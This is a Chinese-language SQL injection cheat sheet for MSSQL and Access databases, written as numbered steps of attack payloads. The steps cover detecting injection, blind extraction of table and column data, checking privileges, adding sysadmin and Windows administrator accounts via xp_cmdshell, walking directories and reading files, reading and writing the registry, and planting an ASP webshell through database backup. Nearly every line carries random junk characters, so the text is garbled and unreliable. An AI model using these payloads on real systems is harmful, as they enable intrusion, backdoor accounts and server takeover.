1.判断是否有注入;and 1=1 ;and 1=2 CcY7$D
2.初步判断是否是mssql ;and user>0 {rDq_^
JGis" e
3.注入参数是字符'and [查询条件] and ''=' s9i|mVtm8
q*bt4,D&Es
4.搜索时没过滤参数的'and [查询条件] and '%25'=' >g]ON9CGH
Plfdr~$
5.判断数据库系统 B$?^wo
>'b=YlUL
;and (select count(*) from sysobjects)>0 mssql _w>uI57U
V&%C\ns4
;and (select count(*) from msysobjects)>0 access a.q;_5\5`
+Ofa#^5);K
<bP#H
M?$ZJ-
6.猜数据库 ;and (select Count(*) from [数据库名])>0 oxzq!U
/P:EWUf'
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2)9r'ai?a
oQ\&}@(V
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G>K@AW#
0e16Ow6\!1
9.(1)猜字段的ascii值(access) DW>ES/B8$(
[EOVw%R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Juu+vMn1
2"X~ju
(2)猜字段的ascii值(mssql) id?E)Jy
OhFW*v
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 "(f`U.
oL-2qtv
10.测试权限结构(mssql) RgZOt[!.
Hhl-E:"H`
/8c&Axuv
-{{[cTI
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X#`dWNrN
C?o6(p"b
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )+EN$*H
|>+uw|LtZ
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |##GIIv;i
t,HFz6
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ! %Ny0JkO
?aWx(dVQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :o8MUXH$
'!Wvqs
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- pO]8
dE0
j_GBH8`
;and 1=(select IS_MEMBER('db_owner'));-- o\!qcoE2W
#]Y*0Wzpfn
T$P-<s
y
vI<4F
11.添加mssql和系统的帐户 "@yyXS
r
"HK/u(z)
;exec master.dbo.sp_addlogin username;-- J'Sm0
;exec master.dbo.sp_password null,username,password;-- :mZYS4L~
Bm /YgQi
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- r,;\/^ u*
^B]@Lr E^
;exec master.dbo.xp_cmdshell 'net user username password i=rH7k
.<YcSG
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 8@eOTzm
+>tUz D
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Fr [7
?fK1
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- BC7 7<R!E)
\Y5W!.(%w
q-_' W,
GBQn_(b9I
12.(1)遍历目录 /tj$luls5
z9
($.
;create table dirs(paths varchar(100), id int) _A'{la~k
{/ 2E*|W~I
;insert dirs exec master.dbo.xp_dirtree 'c:\' tC)6
L0"~[zB]N
;and (select top 1 paths from dirs)>0 (CE7j<j
Dl,`\b@Fw3
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2*1ft>Uty
7x k|+!
RUo9eQIPD
-LWK*q[J;*
(2)遍历目录 +B"0{>n}F
Mvcfk$pA
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- z]@6fM[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 s\3q!A?S3
sWqM?2g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 cUk*C
\?lz&<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 qTmD'2
,hRN\Kt)p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $>q@SJ1q
QG3&p<
!mnUdR|>(
D1T@R)j
13.mssql中的存储过程 #b)e4vwCq
7~UR!T9
xp_regenumvalues 注册表根键, 子键 'i|rjW(
[hh/1[
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >)**khuP7
`dW]4>`O
xp_regread 根键,子键,键值名 w0J|u'H
\".^K5Pm
;exec xp_regread Zv!{{XO2;
,r^"#C0J}
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 K=\O5#F?3
jNyoN1M
xp_regwrite 根键,子键, 值名, 值类型, 值 #&8rcu;/
[V}, tO|
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 iK;opA"
\RG!@$i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9A$m$
Wf26
xp_regdeletevalue 根键,子键,值名 |ys0`Vb=$
s0"e'
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 u{e-G&]^;
<48<86TP
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 \}"m'(\c
>U!*y4
5M_Wj*a}7
l=m(mf?QBg
14.mssql的backup创建webshell rf
K8q'@
Ol/N}M|3
use model n"D ?I
#"*e+.j[;
create table cmd(str image); #JW+~FU`
9pSUIl9|j
insert into cmd(str) values (''); Ud(`V:d
|U'I/A
backup database model to disk='c:\l.asp'; svhI3"r
kxB.,'
Y%aWK~O
rZ03x\2
15.mssql内置函数 -ysn&d\rV
7jG(<!,
;and (select @@version)>0 获得Windows的版本号 ROb\Rxm
19U]2D/z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa !{%: qQiA
UQ?%|y*Kc
;and (select user_name())>0 爆当前系统的连接用户 nv/[I,nw
6,b"
;and (select db_name())>0 得到当前连接的数据库 j<yiNHC
P 7D!6q
F7}-!
_e<o7Y@_
16.简洁的webshell T6BFX0$
A#y@`}]!'
use model r ,(Mu
8p^B hd
create table cmd(str image); H`QQG!
k!L@GQ
insert into cmd(str) values (''); zTm]AG|0
^A_;#vK
backup database model to disk='g:\wwwtest\l.asp';